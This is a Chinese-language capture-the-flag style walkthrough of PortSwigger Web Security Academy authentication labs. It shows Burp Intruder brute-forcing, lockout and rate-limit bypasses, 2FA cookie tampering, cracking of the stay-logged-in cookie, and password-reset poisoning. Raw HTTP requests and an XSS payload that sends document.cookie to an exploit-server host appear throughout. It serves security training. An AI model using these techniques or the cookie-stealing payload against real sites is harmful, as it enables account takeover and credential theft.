暴力破解
通过不同的响应
Lab: Username enumeration via different responses
填写信息后抓包
send to intruder后,设置爆破参数位置
粘贴官方给的字典,设置如下
参数2同样如此,复制官方给的密码字典
攻击类型选择Cluster Bumb , 然后就可以开始爆破
观察放回报文的长度
length为3248和3335的是不正确的用户名
length为3337的是不正确的密码
还有一个length为184的,且状态码为302
说明这就是正确的用户密码
username : au
password : charlie
通过微小的返回报文差别
Lab: Username enumeration via subtly different responses
设置的步骤都是一样的
开始爆破后发现,返回了很多种长度的数据包,当密码或者用户名有误都只返回一种错误信息
那么就可以在filter中过滤该错误信息
选择negative search进行消极匹配
结果如上,根据状态码和数据包长度太小也是可以判断的
官方wp的做法是在settings中的grep extract中添加错误信息提取
爆破开始后
点击fetch response,粘贴数据包,选择错误信息,点击ok
result处就可以根据warnings进行排序
通过报文响应时间
Lab: Username enumeration via response timing
在这个实验中,增加了ip限制,可以使用 X-FORWARDED-FOR
http首部进行绕过
当用户名无效时,响应时间大致相同。
但是,当您输入有效的用户名(您自己的用户名)时,响应时间会根据您输入的密码的长度而增加。
在这个实验中,为了增加效率,会先爆破有效的用户名,然后再爆破密码
payloads设置如下
这里要注意,密文的长度是较大的,这是为了使响应时间出现明显的差距
payload设置如下
在上方columns勾选
根据响应时间排序
可以看到有一条响应时间明显和其他的差距较大
那这个就是可能的用户名,只是可能而已,重复几次,观察是否每次的延迟都比较大
第二次爆破后,还是这条数据响应较长
说明这就是有效的用户名
接下来修改爆破位置
密文处payloads用官方给的字典
最后根据状态码得到密文
ip封锁突破
Lab: Broken brute-force protection, IP block
在这个实验中,使用了ip封锁。这里ip封锁的逻辑是,当同一个ip登录失败3次后就会封锁,其中任何一次登录成功计数器就会清零
截获的数据包如下
这个实验的难点在于如何正确的处理字典来突破ip封锁
首先我们使用官方的密文字典,其中有100个词组,要使ip不被封锁,就需要每隔两次登录后,登录有效的用户进行清零
这里为了方便,设置每隔一次登录有效用户,那么密文字典的排列就需要在中间穿插已知用户wiener的密码peter,
这里我使用了python来生成,f是读取的官方给的字典
dict = []
f = open("Src/bruteforce_lab4_dict.txt", 'r')
list = open("Src/dict_list.txt","w")
for line in f.readlines():
dict.append("peter\n")
dict.append(line)
# print(dict)
for p in dict:
生成的效果如下
然后生成100对winer,carlos的用户字典
for i in range(0,100):
print(f"wiener\ncarlos" )
最后将字典粘贴进payloads设置中
接下来很关键的一步是设置单线程爆破,多线程由于异步的特征,可能会导致计数器不能清零
注意爆破模式选择pitchfork,就可以开始爆破了
过滤条件如下
最后得出密码
账户封锁突破
在这个实验中,当有效的账户连续登录五次失败后,就会将账户登录操作封锁1分钟
在已经有了用户名字典的情况下,就需要先将每个用户名登录5次,然后在登录一次,触发账户封锁操作,被封锁的账户就是有效的账户,然后就可以开始爆破密码
抓取数据包如下
添加payload位置
payload1设置用户名字典
payload2设置为null如下
这将使不更改请求的情况下发送数据包5次
选择cluster bomb开始爆破
接着修改payload2,让其有值
继续爆破
在结果中,看到了数据包长度明显与其他不一样的
这说明asterix是有效的用户名
然后就开始爆破密码
在爆破结果中,虽然会触发锁定,但是发现了一个数据包中没有错误的提示信息,长度与其他的数据包存在明显的区别
那么密码就是这个
登录即可
用户速率限制突破
抓取数据包如下
可以看出是通过json格式来校验凭据的。尝试使用数组请求多个密码
重放器发送后,发生302跳转,在浏览器中显示响应就完成了
这里生成json格式的脚本如下
import json
def read_file(file_path):
with open(file_path,'r') as file:
passwords = file.read().splitlines()
return passwords
def gen(passwords):
json_data = {'password':passwords}
return json.dumps(json_data,indent=2) # ! indent是用于格式美化的参数
file_path = "Src\json_dict_pass_orin.txt"
passwords_array = read_file(file_path)
json_string = gen(passwords_array)
print(json_string)
双因素身份验证漏洞
2fa简单绕过
Lab: 2FA simple bypass
使用wiener;peter登录
新加载一个页面,要求我们输入邮件验证码
在wiener的邮件服务器我们获得了邮件验证码,并成功登录
登录过程的数据包如下
输入账号密码后,跳转到输入验证码的页面
POST /login HTTP/1.1
Host: 0aa1009203188bad80a294b20032002d.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0aa1009203188bad80a294b20032002d.web-security-academy.net
Connection: keep-alive
Referer: https://0aa1009203188bad80a294b20032002d.web-security-academy.net/login
Cookie: session=S0EQn36WkRufiAtNT12NAT3ODb1ShIl6
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
username=wiener&password=peter
这里返回了一个set-cookie,用来设置wiener的cookie
HTTP/1.1 302 Found
Location: /login2
Set-Cookie: session=PYN4QFMIKBhaMa8qtPfR5iVazmphiJjE; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0
重定向的地址是 login2页面
在login2页面输入mfa-code
,即可成功登录
POST /login2 HTTP/1.1
Host: 0aa1009203188bad80a294b20032002d.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: https://0aa1009203188bad80a294b20032002d.web-security-academy.net
Connection: keep-alive
Referer: https://0aa1009203188bad80a294b20032002d.web-security-academy.net/login2
Cookie: session=PYN4QFMIKBhaMa8qtPfR5iVazmphiJjE
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
mfa-code=0250
根据返回包,验证mfa-code
成功后,跳转到my-account页面
HTTP/1.1 302 Found
Set-Cookie: session=ixLeN0aiQEspBMrBQkgLezvnOcnROBJ3; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Location: /my-account?id=wiener
Content-Length: 0
那么这里就存在一个问题
在第一次输入账号密码后,实际上已经是一个登录状态了,因为使用了set-cookie。
那么在第二次验证mfa-code的时候,网站可能忽略验证了这个mfa-code
那么这时,只要获取到成功登录后的页面,在验证mfa-code时直接跳转这个页面,就可以绕过验证
例如在这个实验中,输入mfa-code后跳转到的url为
https://0aa1009203188bad80a294b20032002d.web-security-academy.net/my-account?id=wiener
那么我已carlos登录第一个页面后,直接访问
https://0aa1009203188bad80a294b20032002d.web-security-academy.net/my-account
就会发现来到了成功的页面
从而绕过了验证
2fa验证逻辑缺陷 + 验证码爆破
登录
POST /login HTTP/1.1
Host: 0ab800c404f4195680f862ad001b0024.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net
Connection: keep-alive
Referer: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net/login
Cookie: session=ecJnLb0LfIxa0Xk4Ajzoc7kFEDW0WD5t
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
username=wiener&password=peter
---------------
HTTP/1.1 302 Found
Set-Cookie: verify=wiener; HttpOnly
Set-Cookie: session=fkS0mXcUrus7p2lH96rFj212hcF5BZuK; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Location: /login2
Content-Length: 0
2fa验证
POST /login2 HTTP/1.1
Host: 0ab800c404f4195680f862ad001b0024.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net
Connection: keep-alive
Referer: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net/login2
Cookie: session=fkS0mXcUrus7p2lH96rFj212hcF5BZuK; verify=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
mfa-code=0875
-----------------------
HTTP/1.1 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=BkwONTW3tFwusHm0HnXIcr0l8mYMXK6C; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0
对比两处的cookie,session值没有变化,在验证2fa的过程中,cookie带有verify=wiener
, 来判断当前验证的账户是wiener
现在的思路是将用户改为我们要攻击的账号carlos,并重放就可以第二步验证的是攻击账号的账号了
在burp中的repeater中也是可以看到,修改verify=carlos
后,发送数据包响应成功
分析的过程如上,然后退出这个账号,重新登录一次
放行第一个数据包
在login2中修改verify=carlos
下一个数据包也是同样的操作
然后就可以正常进入页面
随意填写一个验证码,登录
将数据包发送到intruder,并修改verify
payload设置如下
开始爆破,筛选为302的数据
在浏览器显示响应即可
2fa验证码爆破
Lab: 2FA bypass using a brute-force attack
在这个实验中,登录的账号是carlos:montoya
这里没有了邮件服务器,需要我们自行获取验证码
其他身份验证漏洞
强制使用保持登录状态的Cookie
在登录时,有一个stayed-log-in选项,勾选上
然后抓取数据包
在cookie中有一个stay-logged-in的值
base64解码后如下
wiener:51dc30ddc473d43a6011e9ebba6ca770
后半部分使用MD5网站解密
查询出来就是peter
那么这个stay-logged-in的生成机制我们就知道了,过程如下
base64("id:md5(password)")
那么我们要攻击的账户的stay-logged-in就为 base64(carlos:md5(password-dict))
了解生成机制后,退出当前登录的账号,然后开始爆破成功登录的页面。注意,要删除account后面的id=wiener
先导入字典
添加MD5加密password
然后添加前缀carlos:
最后base64编码。
开始爆破前一定要先退出登录
筛选长度最长的返回包,这就是登录成功。不成功的话就会302跳转到登录页
payload b64解码后 carlos:0571749e2ac330a7455809c6b0e7af90
解md5后
离线密码破解
实验提示了用户密码hash在cookie中。且评论功能中存在一个xss漏洞
这个实验中我们首先通过xss获取cookie,然后破解密码,以carlos的身份登录,从我的账户页面删除他的账户
首先在评论处用xss获取cookie到xss平台上。
xss平台为官方的exploit sever
payload为
<script>document.location='//exploit-0af000c604e4c40dc20ec4e80197006f.exploit-server.net/'+document.cookie</script>
location为xss平台的地址
在exploit sever点击accerss the log,就可以看到cookie
stay-logged-in值为 Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz
b64-decode : carlos:26323c16d5f4dabff3bb136f2460a943
md5-decrypt: onceuponatime
接着以carlos的身份登录,删除账户即可
密码重置逻辑错误
点击forgot password
输入已知的账户分析
告诉我们检查邮箱
在邮箱中让我们访问一个url
进入如下页。输入数据,抓包
发现url中和数据流都携带了token
删除url中的token,任能重置密码
删除数据流中的token,仍可以
这就说明了,重置密码时,没有验证token
这时将username修改为carlos,发送数据包后,重置失败,提示我们检查链接
这就说明后台可能先检查username,再检查token。如果username正确,那么token可以不存在,但username错误,可能任需要token,但可能不会校验值
那么不删除token,只删除其值试试
这样就成功了
以重置的密码登录carlos即可
通过中间件的密码重置病毒
在这个实验中,需要用到一个首部字段 XFH(X-Forwarded-Host
)
XFH用来确定客户端发起的请求
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/X-Forwarded-Host
在 HTTP 请求中,X-Forwarded-Host (XFH) 和 X-Forwarded-For (XFF) 是常见的请求头,用于传递关于客户端的信息,特别是在通过代理服务器或负载均衡器时。它们的作用如下:
- X-Forwarded-For (XFF): 用于标识客户端的原始 IP 地址。当请求通过代理服务器或负载均衡器时,该头部将包含一个或多个 IP 地址,表示请求经过的每个中间节点的 IP 地址。这样有助于识别客户端的真实 IP 地址。
- X-Forwarded-Host (XFH): 用于标识原始主机名(域名)。类似于 XFF,当请求通过代理服务器或负载均衡器时,该头部会指示原始请求的主机名。这对于处理虚拟主机或需要知道原始主机名的应用程序很有用。
这两个头部都是非标准头部,通常在 HTTP 请求中使用。在处理这些头部时,应该格外小心,因为它们的值可以由客户端伪造,但在特定的网络配置下,它们对于跟踪请求的路径或识别真实客户端 IP 是有用的。
先登录wiener:peter
记录邮箱地址
exploit-0a390057039bed5c817dab5501dc0040.exploit-server.net
然后退出,重置密码
访问wiener的邮件服务器,找到了重置url
截获重置url的数据包测试
数据包中没有username字段
删除token后,提示没有username
那就说明username藏在token中了,那么前面绕过token的方法就无效了。
既然username藏在token中,那我们将token替换为要攻击的账号carlos的token,这样就可以重置carlos的密码了
所以下面就要获取carlos的token
我们先来分析以下数据包的流程
首先是一个post请求,发起重置密码请求
然后访问邮箱的重置链接
输入新的密码后提交数据
要获取carlos的token,按照正常的逻辑来说,我们需要carlos的邮箱,但实际上是没有的
这时就需要一个邮箱来充当服务器的角色
这里就要用到漏洞服务器
在数据包添加xfh首部,host值为漏洞服务器exploit-server地址
这样,后台服务器就会将密码重置链接返回到这个地址中
这里的原理是,添加了xfh首部后,服务器处理时,可能会将返回的数据包的host首部设置为xfh首部的值,那么服务器处理返回的数据时,就有可能发送到自定义的地址
访问log,就获取到了重置密码的token
temp-forgot-password-token=n3vljqcpe6i94ncvotak9821px3c91kn
将token替换,就成功重置了carlos的密码
通过更改密码暴力破解密码
首先使用已有账号分析
原密码正确,新密码输入不一致时 – 返回new passwords do not match
原密码错误,新密码输入不一致 – 返回current password is incorrect
原密码正确/错误, 新密码输入一致时,都是302跳转
就无法判断
加下来开始爆破carlos的密码
修改数据包如下
username为carlos,两次新密码不一致,将origin
中的id=wiener删除
字典使用官方提供
检索匹配新加一条
在爆破结果中筛选得出密码为dragon